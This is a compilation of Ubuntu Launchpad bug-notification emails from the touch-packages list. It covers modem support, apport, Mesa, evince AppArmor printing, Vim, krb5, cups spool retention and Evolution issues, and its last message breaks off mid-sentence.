[Touch-packages] [Bug 1950282] Re: Fibocom WWAN FM350-GL-00 (Mediatek M80 5G) support

[Kai-Chuan Hsieh]

** Description changed:

  :55:00.0 Wireless controller [0d40]: MEDIATEK Corp. Device [14c3:4d75] 
(rev 01)
- Subsystem: Hewlett-Packard Company Device [103c:8914]
+ Subsystem: Hewlett-Packard Company Device [103c:8914]
  
- 
https://lore.kernel.org/linux-wireless/20211101035635.26999-1-ricardo.marti...@linux.intel.com/
- --- 
+ https://lore.kernel.org/linux-
+ wireless/20211101035635.26999-1-ricardo.marti...@linux.intel.com/
+ 
+ Modemmanager requires >= 1.19.1, the detail info is in
+ lp:1962525 
+ 
+ ---
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27.21
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  CasperMD5CheckResult: skip
  Dependencies:
-  
+ 
  DistributionChannelDescriptor:
-  # This is the distribution channel descriptor for the OEM CDs
-  # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
-  canonical-oem-somerville-focal-amd64-20200502-85+fossa-edge-staging+X136
+  # This is the distribution channel descriptor for the OEM CDs
+  # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
+  canonical-oem-somerville-focal-amd64-20200502-85+fossa-edge-staging+X136
  DistroRelease: Ubuntu 20.04
  InstallationDate: Installed on 2021-07-13 (119 days ago)
  InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 
20200502-05:58
  MachineType: Intel Corporation Alder Lake Client Platform
  Package: linux-firmware 1.187.20+staging.31
  PackageArchitecture: all
  ProcFB: 0 i915
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.14.0-9007-oem 
root=UUID=56278c18-b6d3-4b07-b758-32f574db7ae0 ro i915.force_probe=46c0 
automatic-oem-config quiet splash vt.handoff=7
  ProcVersionSignature: Ubuntu 5.14.0-9007.7+staging.29-oem 5.14.14
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
-  linux-restricted-modules-5.14.0-9007-oem N/A
-  linux-backports-modules-5.14.0-9007-oem  N/A
-  linux-firmware   1.187.20+staging.31
+  linux-restricted-modules-5.14.0-9007-oem N/A
+  linux-backports-modules-5.14.0-9007-oem  N/A
+  linux-firmware   1.187.20+staging.31
  Tags:  focal
  Uname: Linux 5.14.0-9007-oem x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: N/A
  _MarkForUpload: True
  dmi.bios.date: 08/23/2021
  dmi.bios.vendor: Intel Corporation
  dmi.bios.version: ADLPFWI1.R00.2347.A00.2108230957
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: AlderLake-M LP5 RVP
  dmi.board.vendor: Intel Corporation
  dmi.board.version: 1
  dmi.chassis.asset.tag: Chassis Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: Intel Corporation
  dmi.chassis.version: 0.1
  dmi.ec.firmware.release: 1.43
  dmi.modalias: 
dmi:bvnIntelCorporation:bvrADLPFWI1.R00.2347.A00.2108230957:bd08/23/2021:efr1.43:svnIntelCorporation:pnAlderLakeClientPlatform:pvr0.1:rvnIntelCorporation:rnAlderLake-MLP5RVP:rvr1:cvnIntelCorporation:ct9:cvr0.1:sku01010002:
  dmi.product.family: Alder Lake Client System
  dmi.product.name: Alder Lake Client Platform
  dmi.product.sku: 01010002
  dmi.product.version: 0.1
  dmi.sys.vendor: Intel Corporation

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to modemmanager in Ubuntu.
https://bugs.launchpad.net/bugs/1950282

Title:
  Fibocom WWAN FM350-GL-00 (Mediatek M80 5G) support

Status in HWE Next:
  New
Status in OEM Priority Project:
  New
Status in linux package in Ubuntu:
  Incomplete
Status in modemmanager package in Ubuntu:
  New

Bug description:
  :55:00.0 Wireless controller [0d40]: MEDIATEK Corp. Device [14c3:4d75] 
(rev 01)
  Subsystem: Hewlett-Packard Company Device [103c:8914]

  https://lore.kernel.org/linux-
  wireless/20211101035635.26999-1-ricardo.marti...@linux.intel.com/

  Modemmanager requires >= 1.19.1, the detail info is in
  lp:1962525 

  ---
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27.21
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  CasperMD5CheckResult: skip
  Dependencies:

  DistributionChannelDescriptor:
   # This is the distribution channel descriptor for the OEM CDs
   # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
   canonical-oem-somerville-focal-amd64-20200502-85+fossa-edge-staging+X136
  DistroRelease: Ubuntu 20.04
  InstallationDate: Installed on 2021-07-13 (119 days ago)
  InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 
20200502-05:58
  MachineType: Intel Corporation Alder Lake Client Platform
  Package: linux-firmware 1.187.20+staging.31
  PackageArchitecture: all
  ProcFB: 0 i915
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.14.0-9007-oem 

[Touch-packages] [Bug 1950282] Re: Fibocom WWAN FM350-GL-00 (Mediatek M80 5G) support

[Kai-Chuan Hsieh]

** Also affects: modemmanager (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to modemmanager in Ubuntu.
https://bugs.launchpad.net/bugs/1950282

Title:
  Fibocom WWAN FM350-GL-00 (Mediatek M80 5G) support

Status in HWE Next:
  New
Status in OEM Priority Project:
  New
Status in linux package in Ubuntu:
  Incomplete
Status in modemmanager package in Ubuntu:
  New

Bug description:
  :55:00.0 Wireless controller [0d40]: MEDIATEK Corp. Device [14c3:4d75] 
(rev 01)
  Subsystem: Hewlett-Packard Company Device [103c:8914]

  
https://lore.kernel.org/linux-wireless/20211101035635.26999-1-ricardo.marti...@linux.intel.com/
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27.21
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  CasperMD5CheckResult: skip
  Dependencies:
   
  DistributionChannelDescriptor:
   # This is the distribution channel descriptor for the OEM CDs
   # For more information see 
http://wiki.ubuntu.com/DistributionChannelDescriptor
   canonical-oem-somerville-focal-amd64-20200502-85+fossa-edge-staging+X136
  DistroRelease: Ubuntu 20.04
  InstallationDate: Installed on 2021-07-13 (119 days ago)
  InstallationMedia: Ubuntu 20.04 "Focal" - Build amd64 LIVE Binary 
20200502-05:58
  MachineType: Intel Corporation Alder Lake Client Platform
  Package: linux-firmware 1.187.20+staging.31
  PackageArchitecture: all
  ProcFB: 0 i915
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.14.0-9007-oem 
root=UUID=56278c18-b6d3-4b07-b758-32f574db7ae0 ro i915.force_probe=46c0 
automatic-oem-config quiet splash vt.handoff=7
  ProcVersionSignature: Ubuntu 5.14.0-9007.7+staging.29-oem 5.14.14
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions:
   linux-restricted-modules-5.14.0-9007-oem N/A
   linux-backports-modules-5.14.0-9007-oem  N/A
   linux-firmware   1.187.20+staging.31
  Tags:  focal
  Uname: Linux 5.14.0-9007-oem x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: N/A
  _MarkForUpload: True
  dmi.bios.date: 08/23/2021
  dmi.bios.vendor: Intel Corporation
  dmi.bios.version: ADLPFWI1.R00.2347.A00.2108230957
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: AlderLake-M LP5 RVP
  dmi.board.vendor: Intel Corporation
  dmi.board.version: 1
  dmi.chassis.asset.tag: Chassis Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: Intel Corporation
  dmi.chassis.version: 0.1
  dmi.ec.firmware.release: 1.43
  dmi.modalias: 
dmi:bvnIntelCorporation:bvrADLPFWI1.R00.2347.A00.2108230957:bd08/23/2021:efr1.43:svnIntelCorporation:pnAlderLakeClientPlatform:pvr0.1:rvnIntelCorporation:rnAlderLake-MLP5RVP:rvr1:cvnIntelCorporation:ct9:cvr0.1:sku01010002:
  dmi.product.family: Alder Lake Client System
  dmi.product.name: Alder Lake Client Platform
  dmi.product.sku: 01010002
  dmi.product.version: 0.1
  dmi.sys.vendor: Intel Corporation

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1950282/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1992172] Re: test_run_crash_kernel fails on ppc64el

[Benjamin Drung]

** Changed in: apport
   Status: Triaged => Fix Committed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1992172

Title:
  test_run_crash_kernel fails on ppc64el

Status in Apport:
  Fix Committed
Status in apport package in Ubuntu:
  Fix Released

Bug description:
  The autopkgtest for apport 2.23.1-0ubuntu1 fails on ppc64el:

  ```
  ==
  FAIL: test_run_crash_kernel (tests.integration.test_ui.T)
  run_crash() for a kernel error
  --
  Traceback (most recent call last):
File "/usr/lib/python3.10/unittest/mock.py", line 1369, in patched
  return func(*newargs, **newkeywargs)
File 
"/tmp/autopkgtest.W5WLIN/autopkgtest_tmp/tests/integration/test_ui.py", line 
1617, in test_run_crash_kernel
  self.assertEqual(
  AssertionError: 'http://linux.bugs.example.com/5' != 
'http://linux-signed.bugs.example.com/5'
  - http://linux.bugs.example.com/5
  + http://linux-signed.bugs.example.com/5
  ? +++

  
  --
  ```

  Full log: https://autopkgtest.ubuntu.com/results/autopkgtest-
  kinetic/kinetic/ppc64el/a/apport/20221007_113450_023d9@/log.gz

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1992172/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1996040] Re: apport-unpack cannot load gitkraken crash report - 'ascii' codec can't decode byte 0xfc in position 56

[Benjamin Drung]

** Also affects: apport
   Importance: Undecided
   Status: New

** Changed in: apport
Milestone: None => 2.24.0

** Changed in: apport
   Importance: Undecided => Low

** Changed in: apport (Ubuntu)
   Importance: Undecided => Low

** Changed in: apport (Ubuntu)
   Status: New => Triaged

** Changed in: apport
   Status: New => Triaged

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1996040

Title:
  apport-unpack cannot load gitkraken crash report - 'ascii' codec can't
  decode byte 0xfc in position 56

Status in Apport:
  Triaged
Status in apport package in Ubuntu:
  Triaged

Bug description:
  The latest GitKraken client (8.10.2 x64) is crashed every minute in
  cycle when you doing a rebase. When I try to inspect crash log to find
  the reason, the apport-unpack is not be able to process it:

  /var/lib/apport/coredump$ sudo apport-unpack 
core._snap_gitkraken_199_usr_share_gitkraken_gitkraken.1000.5de91c04-23ab-45c8-933c-0466d56e9fad.135785.50225891
 unpack
  [sudo] пароль для mingun: 
  Traceback (most recent call last):
File "/usr/bin/apport-unpack", line 59, in 
  pr.load(f, binary=False)
File "/usr/lib/python3/dist-packages/problem_report.py", line 194, in load
  key = key.decode('ASCII')
  UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 56: 
ordinal not in range(128)

  Unfortunately, crash file is too big (~9GB) and does not compress
  further

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1996040/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1995137] Re: "sun4i-drm_dri.so" is missing from libg1-mesa-dri on riscv64

[Isaac True]

Using this library results in the following error:

'generic' is not a recognized processor for this target (ignoring processor)
'generic' is not a recognized processor for this target (ignoring processor)
WARNING: This target JIT is not designed for the host you are running.  If bad 
things happen, please choose a different -march switch.
'generic' is not a recognized processor for this target (ignoring processor)
'generic' is not a recognized processor for this target (ignoring processor)
'generic' is not a recognized processor for this target (ignoring processor)
'generic' is not a recognized processor for this target (ignoring processor)
'generic' is not a recognized processor for this target (ignoring processor)
'generic' is not a recognized processor for this target (ignoring processor)
'generic' is not a recognized processor for this target (ignoring processor)
'generic' is not a recognized processor for this target (ignoring processor)
LLVM ERROR: Cannot select: 0x3fa81e7fa8: ch = store<(store 4 into %ir.mask_ptr1 
+ 12, basealign 16), trunc to i32> 0x3fa81eadd0, 0x3fa81eea00, 0x3fa81b3358, 
undef:i64
  0x3fa81eea00: i64 = sub Constant:i64<0>, 0x3fa81e7c68
0x3fa81b59a8: i64 = Constant<0>
0x3fa81e7c68: i64 = and 0x3fa81e7ed8, Constant:i64<1>
  0x3fa81e7ed8: i64 = srl 0x3fa81e9430, Constant:i64<7>
0x3fa81e9430: i64,ch = load<(load 2 from %fixed-stack.5, align 8), zext 
from i16> 0x3fa80c34b8, FrameIndex:i64<-2>, undef:i64
  0x3fa81b2e78: i64 = FrameIndex<-2>
  0x3fa81b2da8: i64 = undef
0x3fa81e7e70: i64 = Constant<7>
  0x3fa81b5a78: i64 = Constant<1>
  0x3fa81b3358: i64 = add FrameIndex:i64<6>, Constant:i64<28>
0x3fa81b34f8: i64 = FrameIndex<6>
0x3fa8217440: i64 = Constant<28>
  0x3fa81b2da8: i64 = undef
In function: fs_variant_partial
!!! Fatal signal received. Attempting cleanup, but deadlock may occur
pure virtual method called
terminate called without an active exception
!!! Fatal signal received. Attempting cleanup, but deadlock may occur
Mir fatal error: Unsupported attempt to continue after a fatal signal: SIGABRT


Seems similar to
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1993800 but probably
unrelated

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1995137

Title:
  "sun4i-drm_dri.so" is missing from libg1-mesa-dri on riscv64

Status in mesa package in Ubuntu:
  New

Bug description:
  "sun4i-drm_dri.so" is needed for some RISC-V platforms such as the
  Allwinner D1. This file is missing from the riscv64 packages, but
  present on others.  This affects (at least) 20.04 and 22.04.

  itrue@lxc-focal ~/tmp> dpkg -c 
libgl1-mesa-dri_21.2.6-0ubuntu0.1~20.04.2_arm64.deb | grep _dri.so
  *snip*
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/aarch64-linux-gnu/dri/sun4i-drm_dri.so link to 
./usr/lib/aarch64-linux-gnu/dri/armada-drm_dri.so
  *snip*

  itrue@lxc-focal ~/tmp> dpkg -c 
libgl1-mesa-dri_21.2.6-0ubuntu0.1~20.04.2_riscv64.deb | grep _dri.so
  -rw-r--r-- root/root  16498024 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/nouveau_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  -rw-r--r-- root/root   4692400 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/nouveau_vieux_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/r200_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/nouveau_vieux_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/r300_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/r600_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/radeon_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/nouveau_vieux_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/radeonsi_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/swrast_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/virtio_gpu_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/zink_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1995137/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : 

[Touch-packages] [Bug 1915910] Re: evince does not print (apparmor, pxgsettings)

[Jefferson Ascaneo]

Same issue with evince 42.3-0ubuntu2, apparmor 3.0.4-2ubuntu2.1,
cinnamon 5.2.7-4 on Ubuntu 22.04.1 (jammy).

I believe the apparmor workaround below is better, since it works on any
version:

Inside '/etc/apparmor.d/usr.bin.evince', add following line after the
line containing 'thunar':

  /usr/lib/x86_64-linux-gnu/libproxy/[0-9.]+/pxgsettings Cx ->
sanitized_helper, # Print Dialog

Alternatively, run the command below (one line):

$ sudo sed -i 's|.*/usr/bin/thunar Cx -> sanitized_helper,.*|&\n
/usr/lib/x86_64-linux-gnu/libproxy/[0-9.]+/pxgsettings Cx ->
sanitized_helper, # Print Dialog|' /etc/apparmor.d/usr.bin.evince

The workaround above solves the issue for me.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libproxy in Ubuntu.
https://bugs.launchpad.net/bugs/1915910

Title:
  evince does not print (apparmor, pxgsettings)

Status in evince package in Ubuntu:
  Confirmed
Status in libproxy package in Ubuntu:
  Confirmed
Status in evince package in Debian:
  New

Bug description:
  audit: type=1400 audit(1613557537.646:81): apparmor="DENIED"
  operation="exec" profile="/usr/bin/evince"
  name="/usr/lib/x86_64-linux-gnu/libproxy/0.4.17/pxgsettings" pid=3500
  comm="sh" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0

  It seems that evince has no rights to print if I understand this
  correctly

  Printing the same pdf-file from the same origin/folder works with
  OCULAR

  The error is reproduceable

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/evince/+bug/1915910/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1996087] Re: Ensure supported codenames are accurate

[Simon Quigley]

** Description changed:

  In several stable releases of Ubuntu, Vim has information regarding
  releases that are outdated. It would be optimal for Vim to grab this
  data from distro-info-data (or similar), but unfortunately that is not
  the case. Therefore, the list needs to be updated.
  
  There is a minimal regression potential here; Vim simply reads a
  statically-set Perl array to determine if the release in the changelog
- is supported or not. Any regression would present itself in external
- tooling that detects text highlighting, which is not a case I think we
- support in Ubuntu.
+ and sources.list is supported or not. Any regression would present
+ itself in external tooling that detects text highlighting, which is not
+ a case I think we support in Ubuntu.
  
  A simple way to test this update is to download a package from the Lunar
  archive, and open the changelog with Vim. Instead of the changelog
- release (e.g. "lunar") showing as red, it should show as blue.
+ release (e.g. "lunar") showing as red, it should show as blue. I would
+ also suggest editing sources.list, to ensure e.g. Eoan shows as EOL.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to vim in Ubuntu.
https://bugs.launchpad.net/bugs/1996087

Title:
  Ensure supported codenames are accurate

Status in vim package in Ubuntu:
  Fix Committed
Status in vim source package in Focal:
  Confirmed
Status in vim source package in Jammy:
  Confirmed
Status in vim source package in Kinetic:
  Confirmed
Status in vim source package in Lunar:
  Fix Committed

Bug description:
  In several stable releases of Ubuntu, Vim has information regarding
  releases that are outdated. It would be optimal for Vim to grab this
  data from distro-info-data (or similar), but unfortunately that is not
  the case. Therefore, the list needs to be updated.

  There is a minimal regression potential here; Vim simply reads a
  statically-set Perl array to determine if the release in the changelog
  and sources.list is supported or not. Any regression would present
  itself in external tooling that detects text highlighting, which is
  not a case I think we support in Ubuntu.

  A simple way to test this update is to download a package from the
  Lunar archive, and open the changelog with Vim. Instead of the
  changelog release (e.g. "lunar") showing as red, it should show as
  blue. I would also suggest editing sources.list, to ensure e.g. Eoan
  shows as EOL.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/vim/+bug/1996087/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1996087] [NEW] Ensure supported codenames are accurate

[Simon Quigley]

Public bug reported:

In several stable releases of Ubuntu, Vim has information regarding
releases that are outdated. It would be optimal for Vim to grab this
data from distro-info-data (or similar), but unfortunately that is not
the case. Therefore, the list needs to be updated.

There is a minimal regression potential here; Vim simply reads a
statically-set Perl array to determine if the release in the changelog
is supported or not. Any regression would present itself in external
tooling that detects text highlighting, which is not a case I think we
support in Ubuntu.

A simple way to test this update is to download a package from the Lunar
archive, and open the changelog with Vim. Instead of the changelog
release (e.g. "lunar") showing as red, it should show as blue.

** Affects: vim (Ubuntu)
 Importance: Undecided
 Assignee: Simon Quigley (tsimonq2)
 Status: Fix Committed

** Affects: vim (Ubuntu Focal)
 Importance: Undecided
 Assignee: Simon Quigley (tsimonq2)
 Status: Confirmed

** Affects: vim (Ubuntu Jammy)
 Importance: Undecided
 Assignee: Simon Quigley (tsimonq2)
 Status: Confirmed

** Affects: vim (Ubuntu Kinetic)
 Importance: Undecided
 Assignee: Simon Quigley (tsimonq2)
 Status: Confirmed

** Affects: vim (Ubuntu Lunar)
 Importance: Undecided
 Assignee: Simon Quigley (tsimonq2)
 Status: Fix Committed

** Also affects: vim (Ubuntu Kinetic)
   Importance: Undecided
   Status: New

** Also affects: vim (Ubuntu Jammy)
   Importance: Undecided
   Status: New

** Also affects: vim (Ubuntu Focal)
   Importance: Undecided
   Status: New

** Also affects: vim (Ubuntu Lunar)
   Importance: Undecided
   Status: New

** Changed in: vim (Ubuntu Lunar)
   Status: New => Confirmed

** Changed in: vim (Ubuntu Lunar)
   Status: Confirmed => Fix Committed

** Changed in: vim (Ubuntu Kinetic)
   Status: New => Confirmed

** Changed in: vim (Ubuntu Jammy)
   Status: New => Confirmed

** Changed in: vim (Ubuntu Focal)
   Status: New => Confirmed

** Changed in: vim (Ubuntu Focal)
 Assignee: (unassigned) => Simon Quigley (tsimonq2)

** Changed in: vim (Ubuntu Jammy)
 Assignee: (unassigned) => Simon Quigley (tsimonq2)

** Changed in: vim (Ubuntu Kinetic)
 Assignee: (unassigned) => Simon Quigley (tsimonq2)

** Changed in: vim (Ubuntu Lunar)
 Assignee: (unassigned) => Simon Quigley (tsimonq2)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to vim in Ubuntu.
https://bugs.launchpad.net/bugs/1996087

Title:
  Ensure supported codenames are accurate

Status in vim package in Ubuntu:
  Fix Committed
Status in vim source package in Focal:
  Confirmed
Status in vim source package in Jammy:
  Confirmed
Status in vim source package in Kinetic:
  Confirmed
Status in vim source package in Lunar:
  Fix Committed

Bug description:
  In several stable releases of Ubuntu, Vim has information regarding
  releases that are outdated. It would be optimal for Vim to grab this
  data from distro-info-data (or similar), but unfortunately that is not
  the case. Therefore, the list needs to be updated.

  There is a minimal regression potential here; Vim simply reads a
  statically-set Perl array to determine if the release in the changelog
  is supported or not. Any regression would present itself in external
  tooling that detects text highlighting, which is not a case I think we
  support in Ubuntu.

  A simple way to test this update is to download a package from the
  Lunar archive, and open the changelog with Vim. Instead of the
  changelog release (e.g. "lunar") showing as red, it should show as
  blue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/vim/+bug/1996087/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1988144] Re: klist not showing tgt after reboot

[Sergio Durigan Junior]

Hi Hajo,

Sorry for the delay; I've been traveling and in work meetings for the
past weeks.  I will take a closer look at the information you provided
and try to reproduce the problem.  I'll get back to you when I have more
results.

Thanks.

** Changed in: krb5 (Ubuntu)
   Status: Incomplete => New

** Changed in: krb5 (Ubuntu)
 Assignee: (unassigned) => Sergio Durigan Junior (sergiodj)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to krb5 in Ubuntu.
https://bugs.launchpad.net/bugs/1988144

Title:
  klist not showing tgt after reboot

Status in krb5 package in Ubuntu:
  New

Bug description:
  Hello,

  iam not sure if this is a bug, but iam noticed a different behaviour of 
kinit/klist between Ubuntu 18.04 and 22.04
  I already talked to sam hartman who is maintainer of krb5 packages at debian 
and he told that basically there is no difference between different version of 
kinit/klist and one should dig in Ubuntu environment.
  Let me decribe the notice:

  We use kinit/klist/krb5 keytab as base for sssd and ssh access
  controlled by AD.

  In Ubuntu 18.04 LTS i could do:
  "kinit myprincipal" and created a valid tgt. This tgt was stable and survived 
a reboot which can be viewed by "klist".
  I log in as unprivileged user, doing "sudo -i" and see:

  myhost: # klist
  Ticket cache: FILE:/tmp/krb5cc_27465975_uqBiyq

  File /tmp/krb5cc_27465975_uqBiyq is existent and owned by my unprivileged 
username and group domainusers.
  Ubuntu 18.04 LTS is using 1.16-2ubuntu0.2 of krb5-user. i have to say, that 
first login as unprivileged user is done by using ssh-keypair, so no sssd is 
involved. But by using "sudo -i" sssd is used and worked like expected.

  Now we switched to Ubuntu 22.04 LTS, Version of krb5-user is 1.19.2-2
  Doing kinit myprincipal on 22.04 leads to:
  myhost: #  klist
  Ticket cache: FILE:/tmp/krb5cc_0

  File /tmp/krb5cc_0 is owned by root:root

  After reboot i can still login successful as unprivileged user make
  "sudo -i" and klist says:

  myhost: # klist
  klist: No credentials cache found (filename: /tmp/krb5cc_0

  File /tmp/krb5cc_0 is gone (deleted from unknown), but i see a file 
/tmp/krb5cc_27465975_nGySkP which is owned by my unprivileged username and 
group is domainusers.
   is this expected? It seems that newer klist always wants to use the default 
name /tmp/krb5cc_0. It creates tgt with this name and tries to read this 
filename. but after reboot file is recreated with different name and default 
klist command fails. First login as unprivilged user was done with ssh-keypair 
without sssd, but "sudo -i" uses sssd agin. Whole thing only works like in 
18.04 if you dont use ssh-keypairs and do all logins by hand with manually 
login, so sssd is forced to use in every step.

  What do you think? Is this a bug or wrong use? Behaviour of 18.04 was
  absolutely satisfying.

  Thanks,
  Hans

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/krb5/+bug/1988144/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1995402] Re: cups keeps spool files forever and thus reveals confidential data

[Eduardo Barretto]

** Information type changed from Private Security to Public Security

** Changed in: cups (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1995402

Title:
  cups keeps spool files forever and thus reveals confidential data

Status in cups package in Ubuntu:
  Confirmed

Bug description:
  Hi,

  I found plenty of old spool files in /var/spool/cups on two machines,
  both 22.04 and formerly upgraded from 20.04, where files contained the
  original print files, some even two years old, containing confidential
  data that should have been delete long time ago.

  Thus, cups keeps confidential data forever at a location the user can
  neither see or delete.

  
  Severe security gap, since attackers, investigators, attorneys, whoever, will 
find data in /var/spool/cups, which the user believes to have deleted, 
encrypted, or whatever.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1995402/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1983794] Re: Evolution not deleting autosave files

[Esben Høg]

To try to get rid of this problem with Evolution I uninstalled
libcanberra-gtk-3-0 as m...@papersolve.com suggested, and after that I
can only log in to my Ubuntu 22.04 in terminal mode! I have reinstalled
libcanberra-gtk-3-0 but it doesn't help. I am stuck in terminal at
start-up !!

(I realize now that I should never have uninstalled libcanberra-gtk-3-0)

How do I get the GUI back ??

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libcanberra in Ubuntu.
https://bugs.launchpad.net/bugs/1983794

Title:
  Evolution not deleting autosave files

Status in Evolution:
  Fix Released
Status in evolution package in Ubuntu:
  Invalid
Status in libcanberra package in Ubuntu:
  Triaged

Bug description:
  Running Ubuntu MATE, Ubuntu 22.04.1 LTS. Evolution v3.44.1-0ubuntu1
  was installed with the distribution on a new system and received
  settings imported from an earlier version on another computer.

  When composing an email, if the process takes long enough an autosave
  file is created as ~/.local/share/evolution/.evolution-
